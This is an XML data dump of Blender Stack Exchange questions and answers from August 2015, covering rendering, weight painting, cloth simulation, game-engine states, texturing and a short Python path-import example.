  <row Id="35783" PostTypeId="2" ParentId="35781" CreationDate="2015-08-15T17:36:43.840" Score="3" Body="&lt;p&gt;You can &lt;a href=&quot;http://www.johnny-lin.com/cdat_tips/tips_pylang/path.html&quot; rel=&quot;nofollow&quot;&gt;add the text file's folder to the system path&lt;/a&gt;, which will enable you to import from that path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also suggest to &lt;a href=&quot;https://docs.python.org/3.3/library/os.path.html&quot; rel=&quot;nofollow&quot;&gt;extract the folder path via os.path.dirname&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short example to clarify:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;from os.path import dirname&#xA;textFilePath = &quot;/home/me/somewhere/textfiles/text1&quot;&#xA;textFileFolder = dirname( textFilePath ) # = &quot;/home/me/somewhere/textfiles&quot;&#xA;&#xA;sys.path.append(textFileFolder)&#xA;&#xA;import someFileThatExistsInTextFolder&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15861" LastEditorUserId="15861" LastEditDate="2015-08-15T20:38:12.833" LastActivityDate="2015-08-15T20:38:12.833" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35784" PostTypeId="1" AcceptedAnswerId="35814" CreationDate="2015-08-15T17:38:38.957" Score="1" ViewCount="351" Body="&lt;p&gt;I'm creating animation with shooting gun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created gun model, smoke emitter which is placed at the end of the barrel and muzzle flash - volume shader with emission. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything looks fine until the smoke starts to flow out the barrel cause you can see 'muzzle flash' which looks like big black spot inside, even when volume density is 0.000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem is that smoke also affects muzzle flash when volume density is 1.000 there are transparent deformations which causes holes in flashing object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like smoke is ruining everything in my animation. Because without this effect everything looks really cool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to separate gun, smoke and flash. I can easily render each of those but rendered together causes same problem (gun with smoke - good, gun with flash - good, flash with smoke - bad, gun with flash and smoke - big fail) . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/cMoQ2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cMoQ2.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still don't know how to fix this. Maybe it's just a bug and that's why I'm asking: Do you know how to solve this problem or maybe just how to separate layers? And why smoke and emission (even if it should be 'transparent') affects each other so much?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way - I'm working with Blender Render.&lt;/p&gt;&#xA;" OwnerUserId="16436" LastActivityDate="2015-08-16T10:16:22.637" Title="Rendering smoke and volume object which is emitting light causes black spots" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;compositor&gt;&lt;render-layers&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35785" PostTypeId="1" AcceptedAnswerId="35873" CreationDate="2015-08-15T18:11:23.930" Score="0" ViewCount="976" Body="&lt;p&gt;I am having difficulty changing states with the same keyboard sensor.&#xA;The bricks are simple. One keyboard sensor activated by tapping &quot;1&quot; connected to the actuator that will change to state number 2. Then on state number 2 the above keyboard sensor with no changes, connect to the actuator that will change to state number 1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The initial state is number 1. It manages to change to number 2 but then it does not &quot;come back&quot; to state 1 if I press &quot;1&quot; again. Any ideas why?&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-08-17T08:23:44.690" Title="Changing states in BGE" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35786" PostTypeId="1" CreationDate="2015-08-15T18:40:17.867" Score="2" ViewCount="1086" Body="&lt;p&gt;I'm having problem importing a texture, sometimes it comes out fine, but sometimes it comes out a bit weird, like in the screenshot I'm sending.&#xA;Does someone knows why this is happening?&#xA;Thank you&lt;a href=&quot;https://i.stack.imgur.com/c1348.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/c1348.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16437" LastActivityDate="2015-08-19T14:53:42.967" Title="Texture problem" Tags="&lt;texturing&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35787" PostTypeId="2" ParentId="35775" CreationDate="2015-08-15T19:21:26.550" Score="3" Body="&lt;p&gt;Thanks to zeffi's comment i was able to figure out a better way that decimate modifier, with almost none shape changes.&#xA;1)select mesh&#xA;2) go to edit mode&#xA;3) select all vertice&#xA;4)press delete and click limited dissolve&#xA;this will maintain the geometry but will get rid of non used vectice&lt;/p&gt;&#xA;" OwnerUserId="16433" LastActivityDate="2015-08-15T19:21:26.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35788" PostTypeId="1" AcceptedAnswerId="35790" CreationDate="2015-08-15T19:40:39.030" Score="0" ViewCount="128" Body="&lt;p&gt;[![&lt;em&gt;Permanent Weight Paint&lt;/em&gt;][1]][1]&lt;a href=&quot;https://i.stack.imgur.com/b6gLc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b6gLc.png&quot; alt=&quot;*Points of Contact*&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a human metarig on a playermodel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am having problems removing weight paint errors -&gt; I am moving the armature and then editing the weight paint, yet some points of contact still do not go away (while editing w/ weight 0.0). They show up blue but move with the armature, so my playermodel is deformed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also some parts of the playermodel have weight paint that I cannot change and these do also move with the armature. I have seen this with the playermodel's teeth and ribs (they have a color of pure red, weight 1.0) but attempting to change teeth and rib weight paints and\or moving the armature then attempting to re-do the weight paint doesn't remove the problem.&lt;/p&gt;&#xA;" OwnerDisplayName="user15462" LastEditorDisplayName="user15462" LastEditDate="2015-08-15T23:12:38.840" LastActivityDate="2015-08-15T23:12:38.840" Title="Permanent Weight Paint" Tags="&lt;weight-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35789" PostTypeId="1" CreationDate="2015-08-15T19:56:11.557" Score="1" ViewCount="558" Body="&lt;p&gt;Is it supported with the latest version of Blender? If so, how do I get the tangent and binormal information exported? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did find a &quot;roadmap&quot; of sorts for the COLLADA exporter feature in Blender &lt;em&gt;2.5&lt;/em&gt;, and it does mention the binormal and tangent. I haven't found a similar roadmap or feature list however for the newest version. &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Source/Architecture/COLLADA#Roadmap_.26_TODO&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Dev:2.5/Source/Architecture/COLLADA#Roadmap_.26_TODO&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="16439" LastEditorUserId="16439" LastEditDate="2015-08-22T18:02:19.770" LastActivityDate="2015-08-22T18:02:19.770" Title="COLLADA export tangent and binormal" Tags="&lt;export&gt;&lt;normals&gt;&lt;collada&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35790" PostTypeId="2" ParentId="35788" CreationDate="2015-08-15T19:56:28.553" Score="0" Body="&lt;p&gt;The problem is you have to edit your vertex group. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;go into edit mode and hit the vertex groups tab. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;then see all of you vertex group and experiment by means of randomly selecting vertex groups by clicking the 'select' tab while in the vertex groups sections in the properties window.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;when you see a mesh that has vertices scattered and not in the location you want them to be, click 'remove' tab so blender will erase all vertices that were assigned to that group.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;next group the vertices that you want to  be grouped(do it logically).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;ex: hand vertices grouped, then called 'hand verts'. Head vertices grouped and called 'head verts'(or whatever you prefer).&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;now that your veticies are logically grouped, go into weight paint mode and commence weight painting again. (your problem should be fixed).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;p.s update me if that doesn't work, or if your having issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;happy blending!&lt;/p&gt;&#xA;" OwnerUserId="15133" LastActivityDate="2015-08-15T19:56:28.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35791" PostTypeId="1" AcceptedAnswerId="35886" CreationDate="2015-08-15T20:03:12.163" Score="3" ViewCount="1175" Body="&lt;p&gt;I'm relatively new. I know how to make a water bottle starting with a circle and extruding upwards while using a combo of extrude and scaling to make indents, but how would I do something like this? I'm still trying to wrap my head around some of the photos I see out there. This is such an incredible program. Thanks for your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RyqhH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RyqhH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16367" LastActivityDate="2015-08-17T15:06:30.727" Title="How would I make these curved indents in this water bottle? Picture in description." Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35792" PostTypeId="1" CreationDate="2015-08-15T20:59:40.173" Score="0" ViewCount="1602" Body="&lt;p&gt;I have an MMD model which i exported from PMD/PMX editor in .obj format, but when I import it into blender (ver. 2.75a), it's missing it's textures, same thing happens when I open it in Keyshot, anyway to fix this/re-colour textures? &lt;a href=&quot;https://i.stack.imgur.com/MZ7WW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MZ7WW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16441" LastActivityDate="2015-09-17T12:25:40.727" Title="Texture-less/colourless .obj file when opened" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-09-17T16:03:09.860" ContentLicense="CC BY-SA 3.0" />
  <row Id="35794" PostTypeId="2" ParentId="35770" CreationDate="2015-08-15T21:42:17.560" Score="3" Body="&lt;p&gt;You can achieve this using cycles' &lt;a href=&quot;https://www.blender.org/manual/render/cycles/nodes/input.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;camera data node&lt;/a&gt;.&#xA;One of the outputs on this node is the view vector, which can be separated to x, y and z.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a simple node setup you can display only the Z distance from the camera in grayscale values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example below I used the light falloff node to enhance the contrast (the Suzanne model is rather small and all the distances were small as a result, something that produced a low contrast whitish image, before contrast was added).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDITED: replaced the seprate RGB with separate XYZ (does the same thing, but this demonstrates what's happening more clearly) and added an invert node so that farther values are darker (which is more intiuitive).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jNT6B.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jNT6B.jpg&quot; alt=&quot;Camera Z Distance&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15861" LastEditorUserId="15861" LastEditDate="2015-08-16T09:12:36.913" LastActivityDate="2015-08-16T09:12:36.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35795" PostTypeId="2" ParentId="35755" CreationDate="2015-08-15T22:16:34.633" Score="1" Body="&lt;p&gt;I hate loading factory default because of all the settings/theme that I would have to reset.&#xA;Downloading and installing a new version did not fix the problem either.&#xA;So, I had Blender on another computer with it's startup.blend on dropbox, I just opened that and saved it as the new start up file.&#xA;All brushes were there now.&#xA;Thanks for the answers.&lt;/p&gt;&#xA;" OwnerUserId="207" LastActivityDate="2015-08-15T22:16:34.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35796" PostTypeId="1" AcceptedAnswerId="35929" CreationDate="2015-08-15T23:07:21.217" Score="4" ViewCount="500" Body="&lt;p&gt;I recently added a new card to my system. I am running a Titan X and 770. When testing my render speed, I found that, for the same scene and same samples, the 770 took 1:53 to render it, and the Titan took 1:20. However, with both working together, it took 1:16...only a 4 second improvement over the Titan alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that you don't get the full power of the second card, but this seems a little extreme. In Blender's options where I select the compute device, it lists 770+Titan, with the 770 first (The titan is in the primary motherboard slot and runs 1 of the 3 displays.) Does this mean it's primarying the 770 and then not making full use of the Titan? How do I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: When watching my GPU monitor, I can see the 770 being used, but the Titan rarely shows activity above a couple %. It seems like the 770 is getting all the tiles or something. What's with that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2: When testing viewport rendering, things actually slow down when using both cards vs using just the Titan.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastEditorUserId="13324" LastEditDate="2015-08-16T00:42:02.910" LastActivityDate="2020-09-14T10:03:03.747" Title="GPU render with multiple cards: Does card order matter?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35797" PostTypeId="1" AcceptedAnswerId="35851" CreationDate="2015-08-15T23:18:20.567" Score="0" ViewCount="365" Body="&lt;p&gt;This and/or how to access and change them in a script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the .getPropertyNames()-function of an object it only provides you with a list of the names of the properties. How can one actually change them? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you could use a property actuator with the python controller but the property and python controller are on 2 different objects.&#xA;So it is about changing game properties of another object.&lt;/p&gt;&#xA;" OwnerUserId="11484" LastEditorUserId="11484" LastEditDate="2015-08-15T23:23:58.563" LastActivityDate="2015-08-17T02:24:40.920" Title="BGE: What objects are Game Properties?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35799" PostTypeId="2" ParentId="27125" CreationDate="2015-08-15T23:45:22.013" Score="0" Body="&lt;p&gt;The problem is in the cpu's the cores have almost 0% communication, only through the shared L2 and L3 cache (also ram but way too slow) so the process is hard to work around&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But they managed to get it for fluids and smoke, and they are step on step processes as well&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GPUs are the solution, the cores in them have massive communication, they always work in a team, (of 500-4096 cores)&#xA;But Gpu calculations are harder to set up, but also extremely fast, soemthign like even a 40% or more improvement is possible by moving&lt;/p&gt;&#xA;" OwnerUserId="16442" LastActivityDate="2015-08-15T23:45:22.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35801" PostTypeId="1" CreationDate="2015-08-16T00:35:39.957" Score="3" ViewCount="3124" Body="&lt;p&gt;i'm trying to get a tablecloth on a table but it kind of stays above without touching, how can i fix that please ?&lt;a href=&quot;https://i.stack.imgur.com/hbISM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hbISM.png&quot; alt=&quot;hovering cloth&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16444" LastActivityDate="2015-11-14T02:44:03.087" Title="Cloth not touching surface" Tags="&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35802" PostTypeId="2" ParentId="35801" CreationDate="2015-08-16T01:18:47.997" Score="2" Body="&lt;p&gt;Change the collision distance. There are distance settings in the Cloth, and also in the collision object. The total distance will be the two combined. Try adjusting both.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-08-16T01:18:47.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35803" PostTypeId="1" CreationDate="2015-08-16T02:01:41.610" Score="4" ViewCount="1829" Body="&lt;p&gt;Baking a cloth use only 20% of CPU, inactive process of cpu is 78%, is there a way to use those extra 78% ?&#xA;Blender 2.75&#xA;Windows 10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/u5mvk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u5mvk.png&quot; alt=&quot;task manager&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16444" LastActivityDate="2015-08-16T02:03:47.723" Title="Baking cloth simulation use only 20% of cpu ressources, how to get 100%?" Tags="&lt;baking&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35804" PostTypeId="2" ParentId="35803" CreationDate="2015-08-16T02:03:47.723" Score="4" Body="&lt;p&gt;Do you have a quad core? Simulation calculations are not multithreaded, and so cannot use more than 1 core at once. If it's using up a single core of your quad core, that'd be your 20-25%. There is no way to increase this unless someone gets a multithreaded physics algorithm into blender (these exist, but they are complicated and there are caveats. The program Marvelous Designer has multi core cloth sim, and maybe some other expensive programs.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you could run multiple entirely separate physics bakes, or bake physics while rendering or performing other tasks.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-08-16T02:03:47.723" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35805" PostTypeId="1" AcceptedAnswerId="35980" CreationDate="2015-08-16T02:07:07.327" Score="0" ViewCount="7592" Body="&lt;p&gt;I've been trying to produce an outline in blender render (Simmilar to this- from the show RWBY)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8i2S1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8i2S1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to do it using this technique: Duplicating an object, scaling it up slightly, giving it a black texture, enabling backface culling. However, this never apears in the render as it's aperently just used for the 3d view (as far as I know). I need help getting blender to render backface culling within the &quot;Blender Render&quot; engine, &lt;strong&gt;not cycles&lt;/strong&gt;. I was wondering if anyone had tips, or perhaps a script that could help me solve this problem. Thank you&lt;/p&gt;&#xA;" OwnerUserId="16446" LastActivityDate="2019-09-25T15:30:50.803" Title="Getting an outline with backface culling blender render" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35806" PostTypeId="1" CreationDate="2015-08-16T04:32:07.380" Score="2" ViewCount="93" Body="&lt;p&gt;When I test my game everything works perfectly until I jump. No animations except for the Idle one I have will work. &lt;/p&gt;&#xA;" OwnerUserId="16450" LastEditorUserId="599" LastEditDate="2015-08-16T07:37:25.587" LastActivityDate="2015-08-16T07:37:25.587" Title="My characters walking animation breaks after jumping" Tags="&lt;animation&gt;&lt;game-engine&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35807" PostTypeId="2" ParentId="35786" CreationDate="2015-08-16T04:45:19.207" Score="1" Body="&lt;p&gt;I don't know if this will answer your question or not. But I way you might be able to fix it is change your mesh's material to Diffuse BSDF. Go into the Node editor and add an Image Texture Add &gt; Texture &gt; Image Texture. Open the image you want to use and connect the color to the color on the diffuse node. Then unwrap your mesh. Here is a screenshot.  &lt;a href=&quot;https://i.stack.imgur.com/vrQhh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;![Screenshot&#xA;]&lt;a href=&quot;https://i.stack.imgur.com/vrQhh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;&lt;/a&gt; Sorry if this doesn't help.&lt;/p&gt;&#xA;" OwnerUserId="16450" LastActivityDate="2015-08-16T04:45:19.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35808" PostTypeId="2" ParentId="35666" CreationDate="2015-08-16T05:47:01.437" Score="6" Body="&lt;p&gt;The source of the problem is that Freestyle view map has (can see) the smoke domain geometry. This is a typical problem. Transparent mesh like glasses can be solved with the same method.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Put torus, cone and sphere on a new render layer (mesh on layer 1). This render layer will be rendered with freestyle.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Isolate the smoke domain cube to another render layer (ie: mesh on layer 2). Turn off freestyle on this render layer or don't render this layer at all.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That should solve the smoke domain cube from being rendered.&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2015-08-16T05:47:01.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35809" PostTypeId="1" CreationDate="2015-08-16T06:08:41.147" Score="4" ViewCount="93" Body="&lt;p&gt;I saw &lt;a href=&quot;https://blender.stackexchange.com/questions/2002/is-netrender-only-useful-for-multiple-frames&quot;&gt;this post&lt;/a&gt; from 2013 and &lt;a href=&quot;https://blender.stackexchange.com/questions/16682/single-image-rendering-with-blender-netrender&quot;&gt;this post&lt;/a&gt; stating that the NetRender plugin does not yet have the ability to render single frames properly. Is this still true, or is the functionality just hidden away or in beta?&lt;/p&gt;&#xA;" OwnerUserId="5661" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-08-16T06:08:41.147" Title="Is netrender still only useful for multiple frames?" Tags="&lt;rendering&gt;&lt;network&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35810" PostTypeId="1" AcceptedAnswerId="35812" CreationDate="2015-08-16T08:24:19.717" Score="2" ViewCount="146" Body="&lt;p&gt;Iseed to have unselecteable edged that I can see only when in &quot;Z&quot; mode or Object mode but not in edited mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited mode - no edges:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/JQh7B.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JQh7B.png&quot; alt=&quot;Edited mode - no edges&quot;&gt;&lt;/a&gt;&#xA;Edited mode with &quot;Z&quot; - Unselectable edges&#xA;&lt;a href=&quot;https://i.stack.imgur.com/fFMe1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fFMe1.png&quot; alt=&quot;Edited mode with &amp;quot;Z&amp;quot; - Unselectable edges&quot;&gt;&lt;/a&gt;&#xA;Object mode, edges take shape&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ACcE1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ACcE1.png&quot; alt=&quot;Object mode, edges take shape&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve this ?&lt;/p&gt;&#xA;" OwnerUserId="11323" LastActivityDate="2015-08-16T10:00:13.927" Title="unselectable edge showing only when smotted" Tags="&lt;edges&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35811" PostTypeId="1" AcceptedAnswerId="35813" CreationDate="2015-08-16T08:30:32.077" Score="2" ViewCount="7546" Body="&lt;p&gt;I am wondering if there is any tool or way to kind of Weld (merge) multiple vertices at once, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dL3xd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dL3xd.png&quot; alt=&quot;two loops to merge&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; &gt; &lt;em&gt;Merge at Center&lt;/em&gt; doesn't do the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/z2hmX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/z2hmX.png&quot; alt=&quot;Merge at Center result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing by one takes a lot of time so it's inefficient way of going about it.&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="2217" LastEditDate="2015-08-16T22:26:09.767" LastActivityDate="2015-08-16T22:26:09.767" Title="Merging Multiple Vertices" Tags="&lt;modeling&gt;&lt;vertices&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ClosedDate="2015-08-16T10:32:07.363" ContentLicense="CC BY-SA 3.0" />
  <row Id="35812" PostTypeId="2" ParentId="35810" CreationDate="2015-08-16T08:33:52.827" Score="1" Body="&lt;p&gt;You have probably hidden this part in the edit mode, press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; in edit mode to unhide the part of the mesh.&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="3401" LastEditDate="2015-08-16T10:00:13.927" LastActivityDate="2015-08-16T10:00:13.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35813" PostTypeId="2" ParentId="35811" CreationDate="2015-08-16T10:07:55.163" Score="2" Body="&lt;p&gt;Use the Bridge tool from the Loop Tools addon to connect the loops, then slide them into each other and remove doubles. You can also cut a new loop between them to get the exact midpoint.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-08-16T10:07:55.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35814" PostTypeId="2" ParentId="35784" CreationDate="2015-08-16T10:16:22.637" Score="1" Body="&lt;p&gt;It looks like i've solved my problem. I've changed muzzle flash volume object that was appearing and disappearing - now it's a paricle emitter. Particle lifetime is just one frame so it looks pretty similar to previous effect. Smoke is not hidden anymore because there is no object that could do this - particle emitter surface is not visible and muzzle flash particle is there for very short time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strange thing is (which I've not expected when i was thinking about this solution)  that particle - which is an object with volume shader - is not bugging anymore! I mean there is no black deformations inside flash object even when all objects are on the same render-layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This funny trick fixed my problem but it will probably still exist if someone try to render smoke and volume object inside which is not moving or disappearing - black deformations on volume and hidden smoke when volume density is set at 0.000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pJRrK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pJRrK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this will help somebody.&lt;/p&gt;&#xA;" OwnerUserId="16436" LastActivityDate="2015-08-16T10:16:22.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35815" PostTypeId="1" AcceptedAnswerId="35817" CreationDate="2015-08-16T10:17:10.903" Score="5" ViewCount="7650" Body="&lt;p&gt;I know you can use the anisotropic BSDF shader to create the blurred effect but how would you make the weirdly reflected colours you get when you hold a CD to a light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an image example I found on Google Images:&lt;a href=&quot;https://i.stack.imgur.com/KXVax.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KXVax.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want it so that you could create the colours without just using an image texture of a CD&lt;/p&gt;&#xA;" OwnerUserId="9711" LastActivityDate="2015-08-16T18:03:16.350" Title="How would you create a cd material in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2015-08-16T14:23:50.637" ContentLicense="CC BY-SA 3.0" />
